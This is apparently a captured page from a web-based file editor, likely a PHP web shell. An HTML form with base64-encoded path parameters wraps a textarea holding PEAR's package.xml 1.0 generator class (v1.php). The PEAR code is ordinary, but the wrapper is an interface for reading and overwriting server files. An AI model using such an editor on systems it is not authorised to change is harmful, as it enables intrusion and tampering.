<hr>v1.php<form method=post action="?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg%3D%3D&f=djEucGhw"><input name="f" value="v1.php"><textarea name="t">&lt;?php
/**
 * package.xml generation class, package.xml version 1.0
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 1.4.0a1
 */
/**
 * needed for PEAR_VALIDATE_* constants
 */
require_once 'PEAR/Validate.php';
require_once 'System.php';
require_once 'PEAR/PackageFile/v2.php';
/**
 * This class converts a PEAR_PackageFile_v1 object into any output format.
 *
 * Supported output formats include array, XML string, and a PEAR_PackageFile_v2
 * object, for converting package.xml 1.0 into package.xml 2.0 with no sweat.
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: 1.10.5
 * @link       http://pear.php.net/package/PEAR
 * @since      Class available since Release 1.4.0a1
 */
class PEAR_PackageFile_Generator_v1
{
    /**
     * @var PEAR_PackageFile_v1
     */
    var $_packagefile;
    function __construct(&amp;$packagefile)
    {
        $this-&gt;_packagefile = &amp;$packagefile;
    }

    function getPackagerVersion()
    {
        return '1.10.5';
    }

    /**
     * @param PEAR_Packager
     * @param bool if true, a .tgz is written, otherwise a .tar is written
     * @param string|null directory in which to save the .tgz
     * @return string|PEAR_Error location of package or error object
     */
    function toTgz(&amp;$packager, $compress = true, $where = null)
    {
        require_once 'Archive/Tar.php';
        if ($where === null) {
            if (!($where = System::mktemp(array('-d')))) {
                return PEAR::raiseError('PEAR_Packagefile_v1::toTgz: mktemp failed');
            }
        } elseif (!@System::mkDir(array('-p', $where))) {
            return PEAR::raiseError('PEAR_Packagefile_v1::toTgz: &quot;' . $where . '&quot; could' .
                ' not be created');
        }
        if (file_exists($where . DIRECTORY_SEPARATOR . 'package.xml') &amp;&amp;
              !is_file($where . DIRECTORY_SEPARATOR . 'package.xml')) {
            return PEAR::raiseError('PEAR_Packagefile_v1::toTgz: unable to save package.xml as' .
                ' &quot;' . $where . DIRECTORY_SEPARATOR . 'package.xml&quot;');
        }
        if (!$this-&gt;_packagefile-&gt;validate(PEAR_VALIDATE_PACKAGING)) {
            return PEAR::raiseError('PEAR_Packagefile_v1::toTgz: invalid package file');
        }
        $pkginfo = $this-&gt;_packagefile-&gt;getArray();
        $ext = $compress ? '.tgz' : '.tar';
        $pkgver = $pkginfo['package'] . '-' . $pkginfo['version'];
        $dest_package = getcwd() . DIRECTORY_SEPARATOR . $pkgver . $ext;
        if (file_exists(getcwd() . DIRECTORY_SEPARATOR . $pkgver . $ext) &amp;&amp;
              !is_file(getcwd() . DIRECTORY_SEPARATOR . $pkgver . $ext)) {
            return PEAR::raiseError('PEAR_Packagefile_v1::toTgz: cannot create tgz file &quot;' .
                getcwd() . DIRECTORY_SEPARATOR . $pkgver . $ext . '&quot;');
        }
        if ($pkgfile = $this-&gt;_packagefile-&gt;getPackageFile()) {
            $pkgdir = dirname(realpath($pkgfile));
            $pkgfile = basename($pkgfile);
        } else {
            return PEAR::raiseError('PEAR_Packagefile_v1::toTgz: package file object must ' .
                'be created from a real file');
        }
        // {{{ Create the package file list
        $filelist = array();
        $i = 0;

        foreach ($this-&gt;_packagefile-&gt;getFilelist() as $fname =&gt; $atts) {
            $file = $pkgdir . DIRECTORY_SEPARATOR . $fname;
            if (!file_exists($file)) {
                return PEAR::raiseError(&quot;File does not exist: $fname&quot;);
            } else {
                $filelist[$i++] = $file;
                if (!isset($atts['md5sum'])) {
                    $this-&gt;_packagefile-&gt;setFileAttribute($fname, 'md5sum', md5_file($file));
                }
                $packager-&gt;log(2, &quot;Adding file $fname&quot;);
            }
        }
        // }}}
        $packagexml = $this-&gt;toPackageFile($where, PEAR_VALIDATE_PACKAGING, 'package.xml', true);
        if ($packagexml) {
            $tar = new Archive_Tar($dest_package, $compress);
            $tar-&gt;setErrorHandling(PEAR_ERROR_RETURN); // XXX Don't print errors
            // ----- Creates with the package.xml file
            $ok = $tar-&gt;createModify(array($packagexml), '', $where);
            if (PEAR::isError($ok)) {
                return $ok;
            } elseif (!$ok) {
                return PEAR::raiseError('PEAR_Packagefile_v1::toTgz: tarball creation failed');
            }
            // ----- Add the content of the package
            if (!$tar-&gt;addModify($filelist, $pkgver, $pkgdir)) {
                return PEAR::raiseError('PEAR_Packagefile_v1::toTgz: tarball creation failed');
            }
            return $dest_package;
        }
    }

    /**
     * @param string|null directory to place the package.xml in, or null for a temporary dir
     * @param int one of the PEAR_VALIDATE_* constants
     * @param string name of the generated file
     * @param bool if true, then no analysis will be performed on role=&quot;php&quot; files
     * @return string|PEAR_Error path to the created file on success
     */
    function toPackageFile($where = null, $state = PEAR_VALIDATE_NORMAL, $name = 'package.xml',
                           $nofilechecking = false)
    {
        if (!$this-&gt;_packagefile-&gt;validate($state, $nofilechecking)) {
            return PEAR::raiseError('PEAR_Packagefile_v1::toPackageFile: invalid package.xml',
                null, null, null, $this-&gt;_packagefile-&gt;getValidationWarnings());
        }
        if ($where === null) {
            if (!($where = System::mktemp(array('-d')))) {
                return PEAR::raiseError('PEAR_Packagefile_v1::toPackageFile: mktemp failed');
            }
        } elseif (!@System::mkDir(array('-p', $where))) {
            return PEAR::raiseError('PEAR_Packagefile_v1::toPackageFile: &quot;' . $where . '&quot; could' .
                ' not be created');
        }
        $newpkgfile = $where . DIRECTORY_SEPARATOR . $name;
        $np = @fopen($newpkgfile, 'wb');
        if (!$np) {
            return PEAR::raiseError('PEAR_Packagefile_v1::toPackageFile: unable to save ' .
               &quot;$name as $newpkgfile&quot;);
        }
        fwrite($np, $this-&gt;toXml($state, true));
        fclose($np);
        return $newpkgfile;
    }

    /**
     * fix both XML encoding to be UTF8, and replace standard XML entities &lt; &gt; &quot; &amp; '
     *
     * @param string $string
     * @return string
     * @access private
     */
    function _fixXmlEncoding($string)
    {
        return strtr($string, array(
                                          '&amp;'  =&gt; '&amp;amp;',
                                          '&gt;'  =&gt; '&amp;gt;',
                                          '&lt;'  =&gt; '&amp;lt;',
                                          '&quot;'  =&gt; '&amp;quot;',
                                          '\'' =&gt; '&amp;apos;' ));
    }

    /**
     * Return an XML document based on the package info (as returned
     * by the PEAR_Common::infoFrom* methods).
     *
     * @return string XML data
     */
    function toXml($state = PEAR_VALIDATE_NORMAL, $nofilevalidation = false)
    {
        $this-&gt;_packagefile-&gt;setDate(date('Y-m-d'));
        if (!$this-&gt;_packagefile-&gt;validate($state, $nofilevalidation)) {
            return false;
        }
        $pkginfo = $this-&gt;_packagefile-&gt;getArray();
        static $maint_map = array(
            &quot;handle&quot; =&gt; &quot;user&quot;,
            &quot;name&quot; =&gt; &quot;name&quot;,
            &quot;email&quot; =&gt; &quot;email&quot;,
            &quot;role&quot; =&gt; &quot;role&quot;,
            );
        $ret = &quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;UTF-8\&quot; ?&gt;\n&quot;;
        $ret .= &quot;&lt;!DOCTYPE package SYSTEM \&quot;http://pear.php.net/dtd/package-1.0\&quot;&gt;\n&quot;;
        $ret .= &quot;&lt;package version=\&quot;1.0\&quot; packagerversion=\&quot;1.10.5\&quot;&gt;\n&quot; .
&quot; &lt;name&gt;$pkginfo[package]&lt;/name&gt;&quot;;
        if (isset($pkginfo['extends'])) {
            $ret .= &quot;\n&lt;extends&gt;$pkginfo[extends]&lt;/extends&gt;&quot;;
        }
        $ret .=
 &quot;\n &lt;summary&gt;&quot;.$this-&gt;_fixXmlEncoding($pkginfo['summary']).&quot;&lt;/summary&gt;\n&quot; .
&quot; &lt;description&gt;&quot;.trim($this-&gt;_fixXmlEncoding($pkginfo['description'])).&quot;\n &lt;/description&gt;\n&quot; .
&quot; &lt;maintainers&gt;\n&quot;;
        foreach ($pkginfo['maintainers'] as $maint) {
            $ret .= &quot;  &lt;maintainer&gt;\n&quot;;
            foreach ($maint_map as $idx =&gt; $elm) {
                $ret .= &quot;   &lt;$elm&gt;&quot;;
                $ret .= $this-&gt;_fixXmlEncoding($maint[$idx]);
                $ret .= &quot;&lt;/$elm&gt;\n&quot;;
            }
            $ret .= &quot;  &lt;/maintainer&gt;\n&quot;;
        }
        $ret .= &quot;  &lt;/maintainers&gt;\n&quot;;
        $ret .= $this-&gt;_makeReleaseXml($pkginfo, false, $state);
        if (isset($pkginfo['changelog']) &amp;&amp; count($pkginfo['changelog']) &gt; 0) {
            $ret .= &quot; &lt;changelog&gt;\n&quot;;
            foreach ($pkginfo['changelog'] as $oldrelease) {
                $ret .= $this-&gt;_makeReleaseXml($oldrelease, true);
            }
            $ret .= &quot; &lt;/changelog&gt;\n&quot;;
        }
        $ret .= &quot;&lt;/package&gt;\n&quot;;
        return $ret;
    }

    // }}}
    // {{{ _makeReleaseXml()

    /**
     * Generate part of an XML description with release information.
     *
     * @param array  $pkginfo    array with release information
     * @param bool   $changelog  whether the result will be in a changelog element
     *
     * @return string XML data
     *
     * @access private
     */
    function _makeReleaseXml($pkginfo, $changelog = false, $state = PEAR_VALIDATE_NORMAL)
    {
        // XXX QUOTE ENTITIES IN PCDATA, OR EMBED IN CDATA BLOCKS!!
        $indent = $changelog ? &quot;  &quot; : &quot;&quot;;
        $ret = &quot;$indent &lt;release&gt;\n&quot;;
        if (!empty($pkginfo['version'])) {
            $ret .= &quot;$indent  &lt;version&gt;$pkginfo[version]&lt;/version&gt;\n&quot;;
        }
        if (!empty($pkginfo['release_date'])) {
            $ret .= &quot;$indent  &lt;date&gt;$pkginfo[release_date]&lt;/date&gt;\n&quot;;
        }
        if (!empty($pkginfo['release_license'])) {
            $ret .= &quot;$indent  &lt;license&gt;$pkginfo[release_license]&lt;/license&gt;\n&quot;;
        }
        if (!empty($pkginfo['release_state'])) {
            $ret .= &quot;$indent  &lt;state&gt;$pkginfo[release_state]&lt;/state&gt;\n&quot;;
        }
        if (!empty($pkginfo['release_notes'])) {
            $ret .= &quot;$indent  &lt;notes&gt;&quot;.trim($this-&gt;_fixXmlEncoding($pkginfo['release_notes']))
            .&quot;\n$indent  &lt;/notes&gt;\n&quot;;
        }
        if (!empty($pkginfo['release_warnings'])) {
            $ret .= &quot;$indent  &lt;warnings&gt;&quot;.$this-&gt;_fixXmlEncoding($pkginfo['release_warnings']).&quot;&lt;/warnings&gt;\n&quot;;
        }
        if (isset($pkginfo['release_deps']) &amp;&amp; sizeof($pkginfo['release_deps']) &gt; 0) {
            $ret .= &quot;$indent  &lt;deps&gt;\n&quot;;
            foreach ($pkginfo['release_deps'] as $dep) {
                $ret .= &quot;$indent   &lt;dep type=\&quot;$dep[type]\&quot; rel=\&quot;$dep[rel]\&quot;&quot;;
                if (isset($dep['version'])) {
                    $ret .= &quot; version=\&quot;$dep[version]\&quot;&quot;;
                }
                if (isset($dep['optional'])) {
                    $ret .= &quot; optional=\&quot;$dep[optional]\&quot;&quot;;
                }
                if (isset($dep['name'])) {
                    $ret .= &quot;&gt;$dep[name]&lt;/dep&gt;\n&quot;;
                } else {
                    $ret .= &quot;/&gt;\n&quot;;
                }
            }
            $ret .= &quot;$indent  &lt;/deps&gt;\n&quot;;
        }
        if (isset($pkginfo['configure_options'])) {
            $ret .= &quot;$indent  &lt;configureoptions&gt;\n&quot;;
            foreach ($pkginfo['configure_options'] as $c) {
                $ret .= &quot;$indent   &lt;configureoption name=\&quot;&quot;.
                    $this-&gt;_fixXmlEncoding($c['name']) . &quot;\&quot;&quot;;
                if (isset($c['default'])) {
                    $ret .= &quot; default=\&quot;&quot; . $this-&gt;_fixXmlEncoding($c['default']) . &quot;\&quot;&quot;;
                }
                $ret .= &quot; prompt=\&quot;&quot; . $this-&gt;_fixXmlEncoding($c['prompt']) . &quot;\&quot;&quot;;
                $ret .= &quot;/&gt;\n&quot;;
            }
            $ret .= &quot;$indent  &lt;/configureoptions&gt;\n&quot;;
        }
        if (isset($pkginfo['provides'])) {
            foreach ($pkginfo['provides'] as $key =&gt; $what) {
                $ret .= &quot;$indent  &lt;provides type=\&quot;$what[type]\&quot; &quot;;
                $ret .= &quot;name=\&quot;$what[name]\&quot; &quot;;
                if (isset($what['extends'])) {
                    $ret .= &quot;extends=\&quot;$what[extends]\&quot; &quot;;
                }
                $ret .= &quot;/&gt;\n&quot;;
            }
        }
        if (isset($pkginfo['filelist'])) {
            $ret .= &quot;$indent  &lt;filelist&gt;\n&quot;;
            if ($state ^ PEAR_VALIDATE_PACKAGING) {
                $ret .= $this-&gt;recursiveXmlFilelist($pkginfo['filelist']);
            } else {
                foreach ($pkginfo['filelist'] as $file =&gt; $fa) {
                    if (!isset($fa['role'])) {
                        $fa['role'] = '';
                    }
                    $ret .= &quot;$indent   &lt;file role=\&quot;$fa[role]\&quot;&quot;;
                    if (isset($fa['baseinstalldir'])) {
                        $ret .= ' baseinstalldir=&quot;' .
                            $this-&gt;_fixXmlEncoding($fa['baseinstalldir']) . '&quot;';
                    }
                    if (isset($fa['md5sum'])) {
                        $ret .= &quot; md5sum=\&quot;$fa[md5sum]\&quot;&quot;;
                    }
                    if (isset($fa['platform'])) {
                        $ret .= &quot; platform=\&quot;$fa[platform]\&quot;&quot;;
                    }
                    if (!empty($fa['install-as'])) {
                        $ret .= ' install-as=&quot;' .
                            $this-&gt;_fixXmlEncoding($fa['install-as']) . '&quot;';
                    }
                    $ret .= ' name=&quot;' . $this-&gt;_fixXmlEncoding($file) . '&quot;';
                    if (empty($fa['replacements'])) {
                        $ret .= &quot;/&gt;\n&quot;;
                    } else {
                        $ret .= &quot;&gt;\n&quot;;
                        foreach ($fa['replacements'] as $r) {
                            $ret .= &quot;$indent    &lt;replace&quot;;
                            foreach ($r as $k =&gt; $v) {
                                $ret .= &quot; $k=\&quot;&quot; . $this-&gt;_fixXmlEncoding($v) .'&quot;';
                            }
                            $ret .= &quot;/&gt;\n&quot;;
                        }
                        $ret .= &quot;$indent   &lt;/file&gt;\n&quot;;
                    }
                }
            }
            $ret .= &quot;$indent  &lt;/filelist&gt;\n&quot;;
        }
        $ret .= &quot;$indent &lt;/release&gt;\n&quot;;
        return $ret;
    }

    /**
     * @param array
     * @access protected
     */
    function recursiveXmlFilelist($list)
    {
        $this-&gt;_dirs = array();
        foreach ($list as $file =&gt; $attributes) {
            $this-&gt;_addDir($this-&gt;_dirs, explode('/', dirname($file)), $file, $attributes);
        }
        return $this-&gt;_formatDir($this-&gt;_dirs);
    }

    /**
     * @param array
     * @param array
     * @param string|null
     * @param array|null
     * @access private
     */
    function _addDir(&amp;$dirs, $dir, $file = null, $attributes = null)
    {
        if ($dir == array() || $dir == array('.')) {
            $dirs['files'][basename($file)] = $attributes;
            return;
        }
        $curdir = array_shift($dir);
        if (!isset($dirs['dirs'][$curdir])) {
            $dirs['dirs'][$curdir] = array();
        }
        $this-&gt;_addDir($dirs['dirs'][$curdir], $dir, $file, $attributes);
    }

    /**
     * @param array
     * @param string
     * @param string
     * @access private
     */
    function _formatDir($dirs, $indent = '', $curdir = '')
    {
        $ret = '';
        if (!count($dirs)) {
            return '';
        }
        if (isset($dirs['dirs'])) {
            uksort($dirs['dirs'], 'strnatcasecmp');
            foreach ($dirs['dirs'] as $dir =&gt; $contents) {
                $usedir = &quot;$curdir/$dir&quot;;
                $ret .= &quot;$indent   &lt;dir name=\&quot;$dir\&quot;&gt;\n&quot;;
                $ret .= $this-&gt;_formatDir($contents, &quot;$indent &quot;, $usedir);
                $ret .= &quot;$indent   &lt;/dir&gt; &lt;!-- $usedir --&gt;\n&quot;;
            }
        }
        if (isset($dirs['files'])) {
            uksort($dirs['files'], 'strnatcasecmp');
            foreach ($dirs['files'] as $file =&gt; $attribs) {
                $ret .= $this-&gt;_formatFile($file, $attribs, $indent);
            }
        }
        return $ret;
    }

    /**
     * @param string
     * @param array
     * @param string
     * @access private
     */
    function _formatFile($file, $attributes, $indent)
    {
        $ret = &quot;$indent   &lt;file role=\&quot;$attributes[role]\&quot;&quot;;
        if (isset($attributes['baseinstalldir'])) {
            $ret .= ' baseinstalldir=&quot;' .
                $this-&gt;_fixXmlEncoding($attributes['baseinstalldir']) . '&quot;';
        }
        if (isset($attributes['md5sum'])) {
            $ret .= &quot; md5sum=\&quot;$attributes[md5sum]\&quot;&quot;;
        }
        if (isset($attributes['platform'])) {
            $ret .= &quot; platform=\&quot;$attributes[platform]\&quot;&quot;;
        }
        if (!empty($attributes['install-as'])) {
            $ret .= ' install-as=&quot;' .
                $this-&gt;_fixXmlEncoding($attributes['install-as']) . '&quot;';
        }
        $ret .= ' name=&quot;' . $this-&gt;_fixXmlEncoding($file) . '&quot;';
        if (empty($attributes['replacements'])) {
            $ret .= &quot;/&gt;\n&quot;;
        } else {
            $ret .= &quot;&gt;\n&quot;;
            foreach ($attributes['replacements'] as $r) {
                $ret .= &quot;$indent    &lt;replace&quot;;
                foreach ($r as $k =&gt; $v) {
                    $ret .= &quot; $k=\&quot;&quot; . $this-&gt;_fixXmlEncoding($v) .'&quot;';
                }
                $ret .= &quot;/&gt;\n&quot;;
            }
            $ret .= &quot;$indent   &lt;/file&gt;\n&quot;;
        }
        return $ret;
    }

    // {{{ _unIndent()

    /**
     * Unindent given string (?)
     *
     * @param string $str The string that has to be unindented.
     * @return string
     * @access private
     */
    function _unIndent($str)
    {
        // remove leading newlines
        $str = preg_replace('/^[\r\n]+/', '', $str);
        // find whitespace at the beginning of the first line
        $indent_len = strspn($str, &quot; \t&quot;);
        $indent = substr($str, 0, $indent_len);
        $data = '';
        // remove the same amount of whitespace from following lines
        foreach (explode(&quot;\n&quot;, $str) as $line) {
            if (substr($line, 0, $indent_len) == $indent) {
                $data .= substr($line, $indent_len) . &quot;\n&quot;;
            }
        }
        return $data;
    }

    /**
     * @return array
     */
    function dependenciesToV2()
    {
        $arr = array();
        $this-&gt;_convertDependencies2_0($arr);
        return $arr['dependencies'];
    }

    /**
     * Convert a package.xml version 1.0 into version 2.0
     *
     * Note that this does a basic conversion, to allow more advanced
     * features like bundles and multiple releases
     * @param string the classname to instantiate and return.  This must be
     *               PEAR_PackageFile_v2 or a descendant
     * @param boolean if true, only valid, deterministic package.xml 1.0 as defined by the
     *                strictest parameters will be converted
     * @return PEAR_PackageFile_v2|PEAR_Error
     */
    function &amp;toV2($class = 'PEAR_PackageFile_v2', $strict = false)
    {
        if ($strict) {
            if (!$this-&gt;_packagefile-&gt;validate()) {
                $a = PEAR::raiseError('invalid package.xml version 1.0 cannot be converted' .
                    ' to version 2.0', null, null, null,
                    $this-&gt;_packagefile-&gt;getValidationWarnings(true));
                return $a;
            }
        }

        $arr = array(
            'attribs' =&gt; array(
                             'version' =&gt; '2.0',
                             'xmlns' =&gt; 'http://pear.php.net/dtd/package-2.0',
                             'xmlns:tasks' =&gt; 'http://pear.php.net/dtd/tasks-1.0',
                             'xmlns:xsi' =&gt; 'http://www.w3.org/2001/XMLSchema-instance',
                             'xsi:schemaLocation' =&gt; &quot;http://pear.php.net/dtd/tasks-1.0\n&quot; .
&quot;http://pear.php.net/dtd/tasks-1.0.xsd\n&quot; .
&quot;http://pear.php.net/dtd/package-2.0\n&quot; .
'http://pear.php.net/dtd/package-2.0.xsd',
                         ),
            'name' =&gt; $this-&gt;_packagefile-&gt;getPackage(),
            'channel' =&gt; 'pear.php.net',
        );
        $arr['summary'] = $this-&gt;_packagefile-&gt;getSummary();
        $arr['description'] = $this-&gt;_packagefile-&gt;getDescription();
        $maintainers = $this-&gt;_packagefile-&gt;getMaintainers();
        foreach ($maintainers as $maintainer) {
            if ($maintainer['role'] != 'lead') {
                continue;
            }
            $new = array(
                'name' =&gt; $maintainer['name'],
                'user' =&gt; $maintainer['handle'],
                'email' =&gt; $maintainer['email'],
                'active' =&gt; 'yes',
            );
            $arr['lead'][] = $new;
        }

        if (!isset($arr['lead'])) { // some people... you know?
            $arr['lead'] = array(
                'name' =&gt; 'unknown',
                'user' =&gt; 'unknown',
                'email' =&gt; 'noleadmaintainer@example.com',
                'active' =&gt; 'no',
            );
        }

        if (count($arr['lead']) == 1) {
            $arr['lead'] = $arr['lead'][0];
        }

        foreach ($maintainers as $maintainer) {
            if ($maintainer['role'] == 'lead') {
                continue;
            }
            $new = array(
                'name' =&gt; $maintainer['name'],
                'user' =&gt; $maintainer['handle'],
                'email' =&gt; $maintainer['email'],
                'active' =&gt; 'yes',
            );
            $arr[$maintainer['role']][] = $new;
        }

        if (isset($arr['developer']) &amp;&amp; count($arr['developer']) == 1) {
            $arr['developer'] = $arr['developer'][0];
        }

        if (isset($arr['contributor']) &amp;&amp; count($arr['contributor']) == 1) {
            $arr['contributor'] = $arr['contributor'][0];
        }

        if (isset($arr['helper']) &amp;&amp; count($arr['helper']) == 1) {
            $arr['helper'] = $arr['helper'][0];
        }

        $arr['date'] = $this-&gt;_packagefile-&gt;getDate();
        $arr['version'] =
            array(
                'release' =&gt; $this-&gt;_packagefile-&gt;getVersion(),
                'api' =&gt; $this-&gt;_packagefile-&gt;getVersion(),
            );
        $arr['stability'] =
            array(
                'release' =&gt; $this-&gt;_packagefile-&gt;getState(),
                'api' =&gt; $this-&gt;_packagefile-&gt;getState(),
            );
        $licensemap =
            array(
                'php' =&gt; 'http://www.php.net/license',
                'php license' =&gt; 'http://www.php.net/license',
                'lgpl' =&gt; 'http://www.gnu.org/copyleft/lesser.html',
                'bsd' =&gt; 'http://www.opensource.org/licenses/bsd-license.php',
                'bsd style' =&gt; 'http://www.opensource.org/licenses/bsd-license.php',
                'bsd-style' =&gt; 'http://www.opensource.org/licenses/bsd-license.php',
                'mit' =&gt; 'http://www.opensource.org/licenses/mit-license.php',
                'gpl' =&gt; 'http://www.gnu.org/copyleft/gpl.html',
                'apache' =&gt; 'http://www.opensource.org/licenses/apache2.0.php'
            );

        if (isset($licensemap[strtolower($this-&gt;_packagefile-&gt;getLicense())])) {
            $arr['license'] = array(
                'attribs' =&gt; array('uri' =&gt;
                    $licensemap[strtolower($this-&gt;_packagefile-&gt;getLicense())]),
                '_content' =&gt; $this-&gt;_packagefile-&gt;getLicense()
                );
        } else {
            // don't use bogus uri
            $arr['license'] = $this-&gt;_packagefile-&gt;getLicense();
        }

        $arr['notes'] = $this-&gt;_packagefile-&gt;getNotes();
        $temp = array();
        $arr['contents'] = $this-&gt;_convertFilelist2_0($temp);
        $this-&gt;_convertDependencies2_0($arr);
        $release = ($this-&gt;_packagefile-&gt;getConfigureOptions() || $this-&gt;_isExtension) ?
            'extsrcrelease' : 'phprelease';
        if ($release == 'extsrcrelease') {
            $arr['channel'] = 'pecl.php.net';
            $arr['providesextension'] = $arr['name']; // assumption
        }

        $arr[$release] = array();
        if ($this-&gt;_packagefile-&gt;getConfigureOptions()) {
            $arr[$release]['configureoption'] = $this-&gt;_packagefile-&gt;getConfigureOptions();
            foreach ($arr[$release]['configureoption'] as $i =&gt; $opt) {
                $arr[$release]['configureoption'][$i] = array('attribs' =&gt; $opt);
            }
            if (count($arr[$release]['configureoption']) == 1) {
                $arr[$release]['configureoption'] = $arr[$release]['configureoption'][0];
            }
        }

        $this-&gt;_convertRelease2_0($arr[$release], $temp);
        if ($release == 'extsrcrelease' &amp;&amp; count($arr[$release]) &gt; 1) {
            // multiple extsrcrelease tags added in PEAR 1.4.1
            $arr['dependencies']['required']['pearinstaller']['min'] = '1.4.1';
        }

        if ($cl = $this-&gt;_packagefile-&gt;getChangelog()) {
            foreach ($cl as $release) {
                $rel = array();
                $rel['version'] =
                    array(
                        'release' =&gt; $release['version'],
                        'api' =&gt; $release['version'],
                    );
                if (!isset($release['release_state'])) {
                    $release['release_state'] = 'stable';
                }

                $rel['stability'] =
                    array(
                        'release' =&gt; $release['release_state'],
                        'api' =&gt; $release['release_state'],
                    );
                if (isset($release['release_date'])) {
                    $rel['date'] = $release['release_date'];
                } else {
                    $rel['date'] = date('Y-m-d');
                }

                if (isset($release['release_license'])) {
                    if (isset($licensemap[strtolower($release['release_license'])])) {
                        $uri = $licensemap[strtolower($release['release_license'])];
                    } else {
                        $uri = 'http://www.example.com';
                    }
                    $rel['license'] = array(
                            'attribs' =&gt; array('uri' =&gt; $uri),
                            '_content' =&gt; $release['release_license']
                        );
                } else {
                    $rel['license'] = $arr['license'];
                }

                if (!isset($release['release_notes'])) {
                    $release['release_notes'] = 'no release notes';
                }

                $rel['notes'] = $release['release_notes'];
                $arr['changelog']['release'][] = $rel;
            }
        }

        $ret = new $class;
        $ret-&gt;setConfig($this-&gt;_packagefile-&gt;_config);
        if (isset($this-&gt;_packagefile-&gt;_logger) &amp;&amp; is_object($this-&gt;_packagefile-&gt;_logger)) {
            $ret-&gt;setLogger($this-&gt;_packagefile-&gt;_logger);
        }

        $ret-&gt;fromArray($arr);
        return $ret;
    }

    /**
     * @param array
     * @param bool
     * @access private
     */
    function _convertDependencies2_0(&amp;$release, $internal = false)
    {
        $peardep = array('pearinstaller' =&gt;
            array('min' =&gt; '1.4.0b1')); // this is a lot safer
        $required = $optional = array();
        $release['dependencies'] = array('required' =&gt; array());
        if ($this-&gt;_packagefile-&gt;hasDeps()) {
            foreach ($this-&gt;_packagefile-&gt;getDeps() as $dep) {
                if (!isset($dep['optional']) || $dep['optional'] == 'no') {
                    $required[] = $dep;
                } else {
                    $optional[] = $dep;
                }
            }
            foreach (array('required', 'optional') as $arr) {
                $deps = array();
                foreach ($$arr as $dep) {
                    // organize deps by dependency type and name
                    if (!isset($deps[$dep['type']])) {
                        $deps[$dep['type']] = array();
                    }
                    if (isset($dep['name'])) {
                        $deps[$dep['type']][$dep['name']][] = $dep;
                    } else {
                        $deps[$dep['type']][] = $dep;
                    }
                }
                do {
                    if (isset($deps['php'])) {
                        $php = array();
                        if (count($deps['php']) &gt; 1) {
                            $php = $this-&gt;_processPhpDeps($deps['php']);
                        } else {
                            if (!isset($deps['php'][0])) {
                                list($key, $blah) = each ($deps['php']); // stupid buggy versions
                                $deps['php'] = array($blah[0]);
                            }
                            $php = $this-&gt;_processDep($deps['php'][0]);
                            if (!$php) {
                                break; // poor mans throw
                            }
                        }
                        $release['dependencies'][$arr]['php'] = $php;
                    }
                } while (false);
                do {
                    if (isset($deps['pkg'])) {
                        $pkg = array();
                        $pkg = $this-&gt;_processMultipleDepsName($deps['pkg']);
                        if (!$pkg) {
                            break; // poor mans throw
                        }
                        $release['dependencies'][$arr]['package'] = $pkg;
                    }
                } while (false);
                do {
                    if (isset($deps['ext'])) {
                        $pkg = array();
                        $pkg = $this-&gt;_processMultipleDepsName($deps['ext']);
                        $release['dependencies'][$arr]['extension'] = $pkg;
                    }
                } while (false);
                // skip sapi - it's not supported so nobody will have used it
                // skip os - it's not supported in 1.0
            }
        }
        if (isset($release['dependencies']['required'])) {
            $release['dependencies']['required'] =
                array_merge($peardep, $release['dependencies']['required']);
        } else {
            $release['dependencies']['required'] = $peardep;
        }
        if (!isset($release['dependencies']['required']['php'])) {
            $release['dependencies']['required']['php'] =
                array('min' =&gt; '4.0.0');
        }
        $order = array();
        $bewm = $release['dependencies']['required'];
        $order['php'] = $bewm['php'];
        $order['pearinstaller'] = $bewm['pearinstaller'];
        isset($bewm['package']) ? $order['package'] = $bewm['package'] :0;
        isset($bewm['extension']) ? $order['extension'] = $bewm['extension'] :0;
        $release['dependencies']['required'] = $order;
    }

    /**
     * @param array
     * @access private
     */
    function _convertFilelist2_0(&amp;$package)
    {
        $ret = array('dir' =&gt;
                    array(
                        'attribs' =&gt; array('name' =&gt; '/'),
                        'file' =&gt; array()
                        )
                    );
        $package['platform'] =
        $package['install-as'] = array();
        $this-&gt;_isExtension = false;
        foreach ($this-&gt;_packagefile-&gt;getFilelist() as $name =&gt; $file) {
            $file['name'] = $name;
            if (isset($file['role']) &amp;&amp; $file['role'] == 'src') {
                $this-&gt;_isExtension = true;
            }
            if (isset($file['replacements'])) {
                $repl = $file['replacements'];
                unset($file['replacements']);
            } else {
                unset($repl);
            }
            if (isset($file['install-as'])) {
                $package['install-as'][$name] = $file['install-as'];
                unset($file['install-as']);
            }
            if (isset($file['platform'])) {
                $package['platform'][$name] = $file['platform'];
                unset($file['platform']);
            }
            $file = array('attribs' =&gt; $file);
            if (isset($repl)) {
                foreach ($repl as $replace ) {
                    $file['tasks:replace'][] = array('attribs' =&gt; $replace);
                }
                if (count($repl) == 1) {
                    $file['tasks:replace'] = $file['tasks:replace'][0];
                }
            }
            $ret['dir']['file'][] = $file;
        }
        return $ret;
    }

    /**
     * Post-process special files with install-as/platform attributes and
     * make the release tag.
     *
     * This complex method follows this work-flow to create the release tags:
     *
     * &lt;pre&gt;
     * - if any install-as/platform exist, create a generic release and fill it with
     *   o &lt;install as=..&gt; tags for &lt;file name=... install-as=...&gt;
     *   o &lt;install as=..&gt; tags for &lt;file name=... platform=!... install-as=..&gt;
     *   o &lt;ignore&gt; tags for &lt;file name=... platform=...&gt;
     *   o &lt;ignore&gt; tags for &lt;file name=... platform=... install-as=..&gt;
     * - create a release for each platform encountered and fill with
     *   o &lt;install as..&gt; tags for &lt;file name=... install-as=...&gt;
     *   o &lt;install as..&gt; tags for &lt;file name=... platform=this platform install-as=..&gt;
     *   o &lt;install as..&gt; tags for &lt;file name=... platform=!other platform install-as=..&gt;
     *   o &lt;ignore&gt; tags for &lt;file name=... platform=!this platform&gt;
     *   o &lt;ignore&gt; tags for &lt;file name=... platform=other platform&gt;
     *   o &lt;ignore&gt; tags for &lt;file name=... platform=other platform install-as=..&gt;
     *   o &lt;ignore&gt; tags for &lt;file name=... platform=!this platform install-as=..&gt;
